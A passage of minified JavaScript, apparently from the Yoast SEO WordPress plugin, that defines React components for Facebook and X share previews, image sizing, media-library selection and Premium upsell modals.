Ia(e,t,s),status:"loaded"}}catch(e){return{imageProperties:null,status:"errored"}}}Ra.propTypes={imageProps:y().shape({src:y().string.isRequired,alt:y().string.isRequired,aspectRatio:y().number.isRequired}).isRequired,width:y().number.isRequired,height:y().number.isRequired,imageMode:y().string},Ra.defaultProps={imageMode:"landscape"};const Pa=ht().div`
	position: relative;
	${e=>"landscape"===e.mode?`max-width: ${e.dimensions.width}`:`min-width: ${e.dimensions.width}; height: ${e.dimensions.height}`};
	overflow: hidden;
	background-color: ${va.colors.$color_white};
`,Aa=ht().div`
	box-sizing: border-box;
	max-width: ${_a.FACEBOOK_IMAGE_SIZES.landscapeWidth}px;
	height: ${_a.FACEBOOK_IMAGE_SIZES.landscapeHeight}px;
	background-color: ${va.colors.$color_grey};
	border-style: dashed;
	border-width: 1px;
	// We're not using standard colors to increase contrast for accessibility.
	color: #006DAC;
	// We're not using standard colors to increase contrast for accessibility.
	background-color: #f1f1f1;
	display: flex;
	justify-content: center;
	align-items: center;
	text-decoration: underline;
	font-size: 14px;
	cursor: pointer;
`;class Oa extends c.Component{constructor(e){super(e),this.state={imageProperties:null,status:"loading"},this.socialMedium="Facebook",this.handleFacebookImage=this.handleFacebookImage.bind(this),this.setState=this.setState.bind(this)}async handleFacebookImage(){try{const e=await La(this.props.src,this.socialMedium);this.setState(e),this.props.onImageLoaded(e.imageProperties.mode||"landscape")}catch(e){this.setState(e),this.props.onImageLoaded("landscape")}}componentDidUpdate(e){e.src!==this.props.src&&this.handleFacebookImage()}componentDidMount(){this.handleFacebookImage()}retrieveContainerDimensions(e){switch(e){case"square":return{height:_a.FACEBOOK_IMAGE_SIZES.squareHeight+"px",width:_a.FACEBOOK_IMAGE_SIZES.squareWidth+"px"};case"portrait":return{height:_a.FACEBOOK_IMAGE_SIZES.portraitHeight+"px",width:_a.FACEBOOK_IMAGE_SIZES.portraitWidth+"px"};case"landscape":return{height:_a.FACEBOOK_IMAGE_SIZES.landscapeHeight+"px",width:_a.FACEBOOK_IMAGE_SIZES.landscapeWidth+"px"}}}render(){const{imageProperties:e,status:t}=this.state;if("loading"===t||""===this.props.src||"errored"===t)return(0,c.createElement)(Aa,{onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,m.__)("Select image","wordpress-seo"));const s=this.retrieveContainerDimensions(e.mode);return(0,c.createElement)(Pa,{mode:e.mode,dimensions:s,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave,onClick:this.props.onImageClick},(0,c.createElement)(Ra,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:_a.FACEBOOK_IMAGE_SIZES.aspectRatio},width:e.width,height:e.height,imageMode:e.mode}))}}Oa.propTypes={src:y().string,alt:y().string,onImageLoaded:y().func,onImageClick:y().func,onMouseEnter:y().func,onMouseLeave:y().func},Oa.defaultProps={src:"",alt:"",onImageLoaded:T.noop,onImageClick:T.noop,onMouseEnter:T.noop,onMouseLeave:T.noop};const Fa=Oa,Da=ht().span`
	line-height: ${20}px;
	min-height : ${20}px;
	color: #1d2129;
	font-weight: 600;
	overflow: hidden;
	font-size: 16px;
	margin: 3px 0 0;
	letter-spacing: normal;
	white-space: normal;
	flex-shrink: 0;
	cursor: pointer;
	display: -webkit-box;
	-webkit-line-clamp: ${e=>e.lineCount};
	-webkit-box-orient: vertical;
	overflow: hidden;
`,Ma=ht().p`
	line-height: ${16}px;
	min-height : ${16}px;
	color: #606770;
	font-size: 14px;
	padding: 0;
	text-overflow: ellipsis;
	margin: 3px 0 0 0;
	display: -webkit-box;
	cursor: pointer;
	-webkit-line-clamp: ${e=>e.lineCount};
	-webkit-box-orient: vertical;
	overflow: hidden;

	@media all and ( max-width: ${e=>e.maxWidth} ) {
		display: none;
	}
`,qa=e=>{switch(e){case"landscape":return"527px";case"square":case"portrait":return"369px";default:return"476px"}},Na=ht().div`
	box-sizing: border-box;
	display: flex;
	flex-direction: ${e=>"landscape"===e.mode?"column":"row"};
	background-color: #f2f3f5;
	max-width: 527px;
`,Ua=ht().div`
	box-sizing: border-box;
	background-color: #f2f3f5;
	margin: 0;
	padding: 10px 12px;
	position: relative;
	border-bottom: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border-top: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border-right: ${e=>"landscape"===e.mode?"":"1px solid #dddfe2"};
	border: ${e=>"landscape"===e.mode?"1px solid #dddfe2":""};
	display: flex;
	flex-direction: column;
	flex-grow: 1;
	justify-content: ${e=>"landscape"===e.mode?"flex-start":"center"};
	font-size: 12px;
	overflow: hidden;
`;class $a extends c.Component{constructor(e){super(e),this.state={imageMode:null,maxLineCount:0,descriptionLineCount:0},this.facebookTitleRef=d().createRef(),this.onImageLoaded=this.onImageLoaded.bind(this),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}onImageLoaded(e){this.setState({imageMode:e})}getTitleLineCount(){return this.facebookTitleRef.current.offsetHeight/20}maybeSetMaxLineCount(){const{imageMode:e,maxLineCount:t}=this.state,s="landscape"===e?2:5;s!==t&&this.setState({maxLineCount:s})}maybeSetDescriptionLineCount(){const{descriptionLineCount:e,maxLineCount:t,imageMode:s}=this.state,r=this.getTitleLineCount();let n=t-r;"portrait"===s&&(n=5===r?0:4),n!==e&&this.setState({descriptionLineCount:n})}componentDidUpdate(){this.maybeSetMaxLineCount(),this.maybeSetDescriptionLineCount()}render(){const{imageMode:e,maxLineCount:t,descriptionLineCount:s}=this.state;return(0,c.createElement)(Na,{id:"facebookPreview",mode:e},(0,c.createElement)(Fa,{src:this.props.imageUrl||this.props.imageFallbackUrl,alt:this.props.alt,onImageLoaded:this.onImageLoaded,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,c.createElement)(Ua,{mode:e},(0,c.createElement)(Ea,{siteUrl:this.props.siteUrl,mode:e}),(0,c.createElement)(Da,{ref:this.facebookTitleRef,onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle,lineCount:t},this.props.title),s>0&&(0,c.createElement)(Ma,{maxWidth:qa(e),onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription,lineCount:s},this.props.description)))}}$a.propTypes={siteUrl:y().string.isRequired,title:y().string.isRequired,description:y().string,imageUrl:y().string,imageFallbackUrl:y().string,alt:y().string,onSelect:y().func,onImageClick:y().func,onMouseHover:y().func},$a.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{}};const Ba=$a,Wa=ht().div`
	text-transform: lowercase;
	color: rgb(83, 100, 113);
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	fill: currentcolor;
	display: flex;
	flex-direction: row;
	align-items: flex-end;
`,Ka=e=>(0,c.createElement)(Wa,null,(0,c.createElement)("span",null,e.siteUrl));Ka.propTypes={siteUrl:y().string.isRequired};const Ya=Ka,ja=(e,t=!0)=>e?`\n\t\t\tmax-width: ${_a.TWITTER_IMAGE_SIZES.landscapeWidth}px;\n\t\t\t${t?"border-bottom: 1px solid #E1E8ED;":""}\n\t\t\tborder-radius: 14px 14px 0 0;\n\t\t\t`:`\n\t\twidth: ${_a.TWITTER_IMAGE_SIZES.squareWidth}px;\n\t\t${t?"border-right: 1px solid #E1E8ED;":""}\n\t\tborder-radius: 14px 0 0 14px;\n\t\t`,za=ht().div`
	position: relative;
	box-sizing: content-box;
	overflow: hidden;
	background-color: #e1e8ed;
	flex-shrink: 0;
	${e=>ja(e.isLarge)}
`,Ha=ht().div`
	display: flex;
	justify-content: center;
	align-items: center;
	box-sizing: border-box;
	max-width: 100%;
	margin: 0;
	padding: 1em;
	text-align: center;
	font-size: 1rem;
	${e=>ja(e.isLarge,!1)}
`,Va=ht()(Ha)`
	${e=>e.isLarge&&`height: ${_a.TWITTER_IMAGE_SIZES.landscapeHeight}px;`}
	border-top-left-radius: 14px;
	${e=>e.isLarge?"border-top-right-radius":"border-bottom-left-radius"}: 14px;
	border-style: dashed;
	border-width: 1px;
	// We're not using standard colors to increase contrast for accessibility.
	color: #006DAC;
	// We're not using standard colors to increase contrast for accessibility.
	background-color: #f1f1f1;
	text-decoration: underline;
	font-size: 14px;
	cursor: pointer;
`;class Ga extends d().Component{constructor(e){super(e),this.state={status:"loading"},this.socialMedium="Twitter",this.handleTwitterImage=this.handleTwitterImage.bind(this),this.setState=this.setState.bind(this)}async handleTwitterImage(){if(null===this.props.src)return;const e=await La(this.props.src,this.socialMedium,this.props.isLarge);this.setState(e)}componentDidUpdate(e){e.src!==this.props.src&&this.handleTwitterImage()}componentDidMount(){this.handleTwitterImage()}render(){const{status:e,imageProperties:t}=this.state;return"loading"===e||""===this.props.src||"errored"===e?(0,c.createElement)(Va,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,m.__)("Select image","wordpress-seo")):(0,c.createElement)(za,{isLarge:this.props.isLarge,onClick:this.props.onImageClick,onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},(0,c.createElement)(Ra,{imageProps:{src:this.props.src,alt:this.props.alt,aspectRatio:_a.TWITTER_IMAGE_SIZES.aspectRatio},width:t.width,height:t.height,imageMode:t.mode}))}}Ga.propTypes={isLarge:y().bool.isRequired,src:y().string,alt:y().string,onImageClick:y().func,onMouseEnter:y().func,onMouseLeave:y().func},Ga.defaultProps={src:"",alt:"",onMouseEnter:T.noop,onImageClick:T.noop,onMouseLeave:T.noop};const Za=ht().div`
	display: flex;
	flex-direction: column;
	padding: 12px;
	justify-content: center;
	margin: 0;
	box-sizing: border-box;
	flex: auto;
	min-width: 0px;
	gap:2px;
	> * {
		line-height:20px;
		min-height:20px;
		font-size:15px;
    }
`,Qa=e=>(0,c.createElement)(Za,null,e.children);Qa.propTypes={children:y().array.isRequired};const Xa=Qa,Ja=ht().p`
	white-space: nowrap;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	color: rgb(15, 20, 25);
	cursor: pointer;
`,eo=ht().p`
	max-height: 55px;
	overflow: hidden;
	text-overflow: ellipsis;
	margin: 0;
	color: rgb(83, 100, 113);
	display: -webkit-box;
	cursor: pointer;
	-webkit-line-clamp: 2;
	-webkit-box-orient: vertical;

	@media all and ( max-width: ${_a.TWITTER_IMAGE_SIZES.landscapeWidth}px ) {
		display: none;
	}
`,to=ht().div`
	font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, "Helvetica Neue", sans-serif;
	font-size: 15px;
	font-weight: 400;
	line-height: 20px;
	max-width: 507px;
	border: 1px solid #E1E8ED;
	box-sizing: border-box;
	border-radius: 14px;
	color: #292F33;
	background: #FFFFFF;
	text-overflow: ellipsis;
	display: flex;

	&:hover {
		background: #f5f8fa;
		border: 1px solid rgba(136,153,166,.5);
	}
`,so=ht()(to)`
	flex-direction: column;
	max-height: 370px;
`,ro=ht()(to)`
	flex-direction: row;
	height: 125px;
`;class no extends c.Component{constructor(e){super(e),this.onImageEnter=this.props.onMouseHover.bind(this,"image"),this.onTitleEnter=this.props.onMouseHover.bind(this,"title"),this.onDescriptionEnter=this.props.onMouseHover.bind(this,"description"),this.onLeave=this.props.onMouseHover.bind(this,""),this.onSelectTitle=this.props.onSelect.bind(this,"title"),this.onSelectDescription=this.props.onSelect.bind(this,"description")}render(){const{isLarge:e,imageUrl:t,imageFallbackUrl:s,alt:r,title:n,description:a,siteUrl:o}=this.props,i=e?so:ro;return(0,c.createElement)(i,{id:"twitterPreview"},(0,c.createElement)(Ga,{src:t||s,alt:r,isLarge:e,onImageClick:this.props.onImageClick,onMouseEnter:this.onImageEnter,onMouseLeave:this.onLeave}),(0,c.createElement)(Xa,null,(0,c.createElement)(Ya,{siteUrl:o}),(0,c.createElement)(Ja,{onMouseEnter:this.onTitleEnter,onMouseLeave:this.onLeave,onClick:this.onSelectTitle},n),(0,c.createElement)(eo,{onMouseEnter:this.onDescriptionEnter,onMouseLeave:this.onLeave,onClick:this.onSelectDescription},a)))}}no.propTypes={siteUrl:y().string.isRequired,title:y().string.isRequired,description:y().string,isLarge:y().bool,imageUrl:y().string,imageFallbackUrl:y().string,alt:y().string,onSelect:y().func,onImageClick:y().func,onMouseHover:y().func},no.defaultProps={description:"",alt:"",imageUrl:"",imageFallbackUrl:"",onSelect:()=>{},onImageClick:()=>{},onMouseHover:()=>{},isLarge:!0};const ao=no,oo=window.yoast.replacementVariableEditor;class io extends c.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.SocialPreview="Social"===e.socialMediumName?Ba:ao,this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:e,onTitleChange:t,onSelectImageClick:s,onRemoveImageClick:r,socialMediumName:n,imageWarnings:a,siteUrl:o,description:i,descriptionInputPlaceholder:l,descriptionPreviewFallback:p,imageUrl:u,imageFallbackUrl:m,alt:h,title:g,titleInputPlaceholder:y,titlePreviewFallback:f,replacementVariables:w,recommendedReplacementVariables:b,applyReplacementVariables:E,onReplacementVariableSearchChange:_,isPremium:v,isLarge:k,socialPreviewLabel:x,idSuffix:S,activeMetaTabId:R}=this.props,T=E({title:g||f,description:i||p});return(0,c.createElement)(d().Fragment,null,x&&(0,c.createElement)(Yt.SimulatedLabel,null,x),(0,c.createElement)(this.SocialPreview,{onMouseHover:this.setHoveredField,onSelect:this.setActiveField,onImageClick:s,siteUrl:o,title:T.title,description:T.description,imageUrl:u,imageFallbackUrl:m,alt:h,isLarge:k,activeMetaTabId:R}),(0,c.createElement)(_a.SocialMetadataPreviewForm,{onDescriptionChange:e,socialMediumName:n,title:g,titleInputPlaceholder:y,onRemoveImageClick:r,imageSelected:!!u,imageUrl:u,onTitleChange:t,onSelectImageClick:s,description:i,descriptionInputPlaceholder:l,imageWarnings:a,replacementVariables:w,recommendedReplacementVariables:b,onReplacementVariableSearchChange:_,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:v,setEditorRef:this.setEditorRef,idSuffix:S}))}}io.propTypes={title:y().string.isRequired,onTitleChange:y().func.isRequired,description:y().string.isRequired,onDescriptionChange:y().func.isRequired,imageUrl:y().string.isRequired,imageFallbackUrl:y().string.isRequired,onSelectImageClick:y().func.isRequired,onRemoveImageClick:y().func.isRequired,socialMediumName:y().string.isRequired,alt:y().string,isPremium:y().bool,imageWarnings:y().array,isLarge:y().bool,siteUrl:y().string,descriptionInputPlaceholder:y().string,titleInputPlaceholder:y().string,descriptionPreviewFallback:y().string,titlePreviewFallback:y().string,replacementVariables:oo.replacementVariablesShape,recommendedReplacementVariables:oo.recommendedReplacementVariablesShape,applyReplacementVariables:y().func,onReplacementVariableSearchChange:y().func,socialPreviewLabel:y().string,idSuffix:y().string,activeMetaTabId:y().string},io.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,isLarge:!0,siteUrl:"",descriptionInputPlaceholder:"",titleInputPlaceholder:"",descriptionPreviewFallback:"",titlePreviewFallback:"",alt:"",applyReplacementVariables:e=>e,onReplacementVariableSearchChange:null,socialPreviewLabel:"",idSuffix:"",activeMetaTabId:""};const lo={},co=(e,t,{log:s=console.warn}={})=>{lo[e]||(lo[e]=!0,s(t))},po=(e,t=T.noop)=>{const s={};for(const r in e)Object.hasOwn(e,r)&&Object.defineProperty(s,r,{set:s=>{e[r]=s,t("set",r,s)},get:()=>(t("get",r),e[r])});return s};po({squareWidth:125,squareHeight:125,landscapeWidth:506,landscapeHeight:265,aspectRatio:50.2},((e,t)=>co(`@yoast/social-metadata-previews/TWITTER_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "TWITTER_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`))),po({squareWidth:158,squareHeight:158,landscapeWidth:527,landscapeHeight:273,portraitWidth:158,portraitHeight:237,aspectRatio:52.2,largeThreshold:{width:446,height:233}},((e,t)=>co(`@yoast/social-metadata-previews/FACEBOOK_IMAGE_SIZES/${e}/${t}`,`[@yoast/social-metadata-previews] "FACEBOOK_IMAGE_SIZES.${t}" is deprecated and will be removed in the future, please use this from @yoast/social-metadata-forms instead.`)));const uo=ht().div`
	max-width: calc(527px + 1.5rem);
`,mo=e=>{const t="X"===e.socialMediumName?(0,m.__)("X share preview","wordpress-seo"):(0,m.__)("Social share preview","wordpress-seo"),{locationContext:s}=(0,h.useRootContext)();return(0,c.createElement)(h.Root,null,(0,c.createElement)(uo,null,(0,c.createElement)(h.FeatureUpsell,{shouldUpsell:!0,variant:"card",cardLink:(0,Ut.addQueryArgs)(wpseoAdminL10n["shortlinks.upsell.social_preview."+e.socialMediumName.toLowerCase()],{context:s}),cardText:(0,m.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,m.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),"data-action":"load-nfd-ctb","data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2"},(0,c.createElement)("div",{className:"yst-grayscale yst-opacity-50"},(0,c.createElement)(h.Label,null,t),(0,c.createElement)(Ba,{title:"",description:"",siteUrl:"",imageUrl:"",imageFallbackUrl:"",alt:"",onSelect:T.noop,onImageClick:T.noop,onMouseHover:T.noop})))))};mo.propTypes={socialMediumName:y().oneOf(["Social","Twitter","X"]).isRequired};const ho=mo;class go extends u.Component{constructor(e){super(e),this.state={activeField:"",hoveredField:""},this.setHoveredField=this.setHoveredField.bind(this),this.setActiveField=this.setActiveField.bind(this),this.setEditorRef=this.setEditorRef.bind(this),this.setEditorFocus=this.setEditorFocus.bind(this)}setHoveredField(e){e!==this.state.hoveredField&&this.setState({hoveredField:e})}setActiveField(e){e!==this.state.activeField&&this.setState({activeField:e},(()=>this.setEditorFocus(e)))}setEditorFocus(e){switch(e){case"title":this.titleEditorRef.focus();break;case"description":this.descriptionEditorRef.focus()}}setEditorRef(e,t){switch(e){case"title":this.titleEditorRef=t;break;case"description":this.descriptionEditorRef=t}}render(){const{onDescriptionChange:e,onTitleChange:t,onSelectImageClick:s,onRemoveImageClick:r,socialMediumName:n,imageWarnings:a,description:o,descriptionInputPlaceholder:i,imageUrl:l,alt:d,title:p,titleInputPlaceholder:m,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,isPremium:f,location:w}=this.props;return(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ho,{socialMediumName:n}),(0,c.createElement)(_a.SocialMetadataPreviewForm,{onDescriptionChange:e,socialMediumName:n,title:p,titleInputPlaceholder:m,onRemoveImageClick:r,imageSelected:!!l,imageUrl:l,imageAltText:d,onTitleChange:t,onSelectImageClick:s,description:o,descriptionInputPlaceholder:i,imageWarnings:a,replacementVariables:h,recommendedReplacementVariables:g,onReplacementVariableSearchChange:y,onMouseHover:this.setHoveredField,hoveredField:this.state.hoveredField,onSelect:this.setActiveField,activeField:this.state.activeField,isPremium:f,setEditorRef:this.setEditorRef,idSuffix:w}))}}go.propTypes={title:y().string.isRequired,onTitleChange:y().func.isRequired,description:y().string.isRequired,onDescriptionChange:y().func.isRequired,imageUrl:y().string.isRequired,onSelectImageClick:y().func.isRequired,onRemoveImageClick:y().func.isRequired,socialMediumName:y().string.isRequired,isPremium:y().bool,imageWarnings:y().array,descriptionInputPlaceholder:y().string,titleInputPlaceholder:y().string,replacementVariables:oo.replacementVariablesShape,recommendedReplacementVariables:oo.recommendedReplacementVariablesShape,onReplacementVariableSearchChange:y().func,location:y().string,alt:y().string},go.defaultProps={imageWarnings:[],recommendedReplacementVariables:[],replacementVariables:[],isPremium:!1,descriptionInputPlaceholder:"",titleInputPlaceholder:"",onReplacementVariableSearchChange:null,location:"",alt:""};const yo=go,fo=e=>{const[t,s]=(0,u.useState)(""),r=(0,u.useCallback)((e=>{s(e.detail.metaTabId)}),[s]);(0,u.useEffect)((()=>(setTimeout(e.onLoad),window.addEventListener("YoastSEO:metaTabChange",r),()=>{window.removeEventListener("YoastSEO:metaTabChange",r)})),[]);const n=(0,u.useMemo)((()=>({...e,activeMetaTabId:t})),[e,t]);return e.isPremium?(0,c.createElement)(p.Slot,{name:`YoastFacebookPremium${e.location.charAt(0).toUpperCase()+e.location.slice(1)}`,fillProps:n}):(0,c.createElement)(yo,{...n})};fo.propTypes={isPremium:y().bool.isRequired,onLoad:y().func.isRequired,location:y().string.isRequired};const wo=fo;function bo(e){(function(e){const t=window.wp.media();return t.on("select",(()=>{const s=t.state().get("selection").first();var r;e({type:(r=s.attributes).subtype,width:r.width,height:r.height,url:r.url,id:r.id,sizes:r.sizes,alt:r.alt||r.title||r.name})})),t})(e).open()}const Eo=()=>{bo((e=>(0,i.dispatch)("yoast-seo/editor").setFacebookPreviewImage((e=>{const{width:t,height:s}=e,r=(0,_a.determineFacebookImageMode)({width:t,height:s}),n=_a.FACEBOOK_IMAGE_SIZES[r+"Width"],a=_a.FACEBOOK_IMAGE_SIZES[r+"Height"],o=Object.values(e.sizes).find((e=>e.width>=n&&e.height>=a));return{url:o?o.url:e.url,id:e.id,warnings:(0,Ht.validateFacebookImage)(e),alt:e.alt||""}})(e))))},_o=(0,qt.compose)([(0,i.withSelect)((e=>{const{getFacebookDescription:t,getDescription:s,getFacebookTitle:r,getSeoTitle:n,getFacebookImageUrl:a,getImageFallback:o,getFacebookWarnings:i,getRecommendedReplaceVars:l,getReplaceVars:c,getSiteUrl:d,getSeoTitleTemplate:p,getSeoTitleTemplateNoFallback:u,getSocialTitleTemplate:m,getSeoDescriptionTemplate:h,getSocialDescriptionTemplate:g,getReplacedExcerpt:y,getFacebookAltText:f}=e("yoast-seo/editor");return{imageUrl:a(),imageFallbackUrl:o(),recommendedReplacementVariables:l(),replacementVariables:c(),description:t(),descriptionPreviewFallback:g()||s()||h()||y()||"",title:r(),titlePreviewFallback:m()||n()||u()||p()||"",imageWarnings:i(),siteUrl:d(),isPremium:!!ve().isPremium,titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"Social",alt:f()}})),(0,i.withDispatch)(((e,t,{select:s})=>{const{setFacebookPreviewTitle:r,setFacebookPreviewDescription:n,clearFacebookPreviewImage:a,loadFacebookPreviewData:o,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:Eo,onRemoveImageClick:a,onDescriptionChange:n,onTitleChange:r,onLoad:o,onReplacementVariableSearchChange:mn(l,i)}})),us()])(wo),vo=e=>((0,u.useEffect)((()=>{setTimeout(e.onLoad)}),[]),e.isPremium?(0,c.createElement)(p.Slot,{name:`YoastTwitterPremium${e.location.charAt(0).toUpperCase()+e.location.slice(1)}`,fillProps:e}):(0,c.createElement)(yo,{...e}));vo.propTypes={isPremium:y().bool.isRequired,onLoad:y().func.isRequired,location:y().string.isRequired};const ko=vo,xo=()=>{bo((e=>(0,i.dispatch)("yoast-seo/editor").setTwitterPreviewImage((e=>{const t="summary"!==(0,T.get)(window,"wpseoScriptData.metabox.twitterCardType")?"landscape":"square",s=_a.TWITTER_IMAGE_SIZES[t+"Width"],r=_a.TWITTER_IMAGE_SIZES[t+"Height"],n=Object.values(e.sizes).find((e=>e.width>=s&&e.height>=r));return{url:n?n.url:e.url,id:e.id,warnings:(0,Ht.validateTwitterImage)(e),alt:e.alt||""}})(e))))},So=(0,qt.compose)([(0,i.withSelect)((e=>{const{getTwitterDescription:t,getTwitterTitle:s,getTwitterImageUrl:r,getFacebookImageUrl:n,getFacebookTitle:a,getFacebookDescription:o,getDescription:i,getSeoTitle:l,getTwitterWarnings:c,getTwitterImageType:d,getImageFallback:p,getRecommendedReplaceVars:u,getReplaceVars:m,getSiteUrl:h,getSeoTitleTemplate:g,getSeoTitleTemplateNoFallback:y,getSocialTitleTemplate:f,getSeoDescriptionTemplate:w,getSocialDescriptionTemplate:b,getReplacedExcerpt:E,getTwitterAltText:_}=e("yoast-seo/editor");return{imageUrl:r(),imageFallbackUrl:n()||p(),recommendedReplacementVariables:u(),replacementVariables:m(),description:t(),descriptionPreviewFallback:b()||o()||i()||w()||E()||"",title:s(),titlePreviewFallback:f()||a()||l()||y()||g()||"",imageWarnings:c(),siteUrl:h(),isPremium:!!ve().isPremium,isLarge:"summary"!==d(),titleInputPlaceholder:"",descriptionInputPlaceholder:"",socialMediumName:"X",alt:_()}})),(0,i.withDispatch)(((e,t,{select:s})=>{const{setTwitterPreviewTitle:r,setTwitterPreviewDescription:n,clearTwitterPreviewImage:a,loadTwitterPreviewData:o,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:xo,onRemoveImageClick:a,onDescriptionChange:n,onTitleChange:r,onLoad:o,onReplacementVariableSearchChange:mn(l,i)}})),us()])(ko),Ro=ht()(Yt.Collapsible)`
	h2 > button {
		padding-left: 0;
		padding-top: 16px;

		&:hover {
			background-color: #f0f0f0;
		}
	}

	div[class^="collapsible_content"] {
		padding: 24px 0;
		margin: 0 24px;
		border-top: 1px solid rgba(0,0,0,0.2);
	}

`,To=e=>(0,c.createElement)(Ro,{hasPadding:!1,hasSeparator:!0,...e}),Co=ht().legend`
	margin: 16px 0;
	padding: 0;
	color: ${va.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,Io=ht().legend`
	margin: 0 0 16px;
	padding: 0;
	color: ${va.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,Lo=ht()(fa)`
	width: 18px;
	height: 18px;
	margin: 3px;
`,Po=e=>{const{useOpenGraphData:t,useTwitterData:s}=e;if(!t&&!s)return;const r=kr();return(0,c.createElement)(Rr
/* translators: Social media appearance refers to a preview of how a page will be represented on social media. */,{title:(0,m.__)("Social media appearance","wordpress-seo"),id:"yoast-social-appearance-modal",shouldCloseOnClickOutside:!1,SuffixHeroIcon:(0,c.createElement)(Lo,{className:"yst-text-slate-500",...r})},t&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)(Io,null,(0,m.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,c.createElement)(_o,null),s&&(0,c.createElement)(Co,null,(0,m.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below. If you leave these settings untouched, the 'Social media appearance' settings mentioned above will also be applied for sharing on X.","wordpress-seo"))),t&&s&&(0,c.createElement)(To,{title:(0,m.__)("X appearance","wordpress-seo"),hasSeparator:!0,initialIsOpen:!1},(0,c.createElement)(So,null)),!t&&s&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)(Io,null,(0,m.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below.","wordpress-seo")),(0,c.createElement)(So,null)))};Po.propTypes={useOpenGraphData:y().bool.isRequired,useTwitterData:y().bool.isRequired};const Ao=Po,Oo=(0,m.__)("Check your text on even more SEO criteria and get an enhanced keyphrase analysis, making it easier to optimize your content.","wordpress-seo"),Fo=e=>{const{locationContext:t}=(0,gt.useRootContext)(),s=(0,Ut.addQueryArgs)(wpseoAdminL10n[e.buyLink],{context:t});return(0,c.createElement)(ns,{title:(0,m.__)("Get more help with writing content that ranks","wordpress-seo"),description:e.description,benefitsTitle:/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.sprintf)("%s also gives you:","Yoast SEO Premium"),benefits:ae(),upsellButtonText:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:s,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,m.__)("1 year of premium support and updates included!","wordpress-seo")})};Fo.propTypes={buyLink:y().string.isRequired,description:y().string},Fo.defaultProps={description:Oo};const Do=Fo,Mo=({location:e})=>{const[t,s]=(0,u.useState)(!1),r=(0,u.useCallback)((()=>s(!1)),[]),n=(0,u.useCallback)((()=>s(!0)),[]),a=(0,h.useSvgAria)();return(0,c.createElement)(u.Fragment,null,t&&(0,c.createElement)(cs,{title:(0,m.__)("Unlock Premium SEO analysis","wordpress-seo"),onRequestClose:r,additionalClassName:"",className:`${is} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,id:"yoast-premium-seo-analysis-modal",shouldCloseOnClickOutside:!0},(0,c.createElement)(os,null,(0,c.createElement)(Do,{buyLink:`shortlinks.upsell.${e}.premium_seo_analysis_button`}))),"sidebar"===e&&(0,c.createElement)(zt,{id:"yoast-premium-seo-analysis-modal-open-button",title:(0,m.__)("Premium SEO 